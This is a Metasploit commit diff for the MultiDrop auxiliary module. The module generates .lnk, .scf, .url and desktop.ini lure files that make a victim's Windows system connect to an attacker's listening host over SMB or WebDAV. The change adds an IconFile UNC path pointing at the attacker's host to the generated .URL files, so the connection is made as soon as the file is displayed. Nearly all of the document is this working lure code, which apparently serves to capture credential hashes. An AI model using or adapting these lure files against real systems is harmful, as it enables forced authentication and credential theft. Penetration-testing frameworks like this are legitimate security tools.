Land #10157, Add IconFile path to .URL files generated with MultiDrop

4.x
Brendan Coles 2018-06-11 03:07:21 +00:00 committed by Metasploit
parent f5e83d7542
commit 60a9e08cdc
No known key found for this signature in database
GPG Key ID: CDFB5FA52007B954
1 changed files with 2 additions and 5 deletions

View File

@ -35,7 +35,6 @@ class MetasploitModule < Msf::Auxiliary
[ [
OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]), OptAddress.new("LHOST", [ true, "Host listening for incoming SMB/WebDAV traffic", nil]),
OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, desktop.ini", "word.lnk"]), OptString.new("FILENAME", [ true, "Filename - supports *.lnk, *.scf, *.url, desktop.ini", "word.lnk"]),
]) ])
end end
@ -49,10 +48,8 @@ class MetasploitModule < Msf::Auxiliary
elsif datastore['FILENAME'].chars.last(3).join=="url" elsif datastore['FILENAME'].chars.last(3).join=="url"
create_url create_url
end end
end end
def createlnk def createlnk
#Code below taken from module droplnk.rb written by Mubix #Code below taken from module droplnk.rb written by Mubix
lnk = "" lnk = ""
@ -129,13 +126,13 @@ class MetasploitModule < Msf::Auxiliary
ini << "IconIndex=1337" ini << "IconIndex=1337"
file_create(ini) file_create(ini)
end end
def create_url def create_url
url="" url=""
url << "[InternetShortcut]\n" url << "[InternetShortcut]\n"
url << "URL=file://#{datastore['LHOST']}/url.html" url << "URL=file://#{datastore['LHOST']}/url.html\n"
url << "IconFile=\\\\#{datastore['LHOST']}\\icon.ico\n"
file_create(url) file_create(url)
end end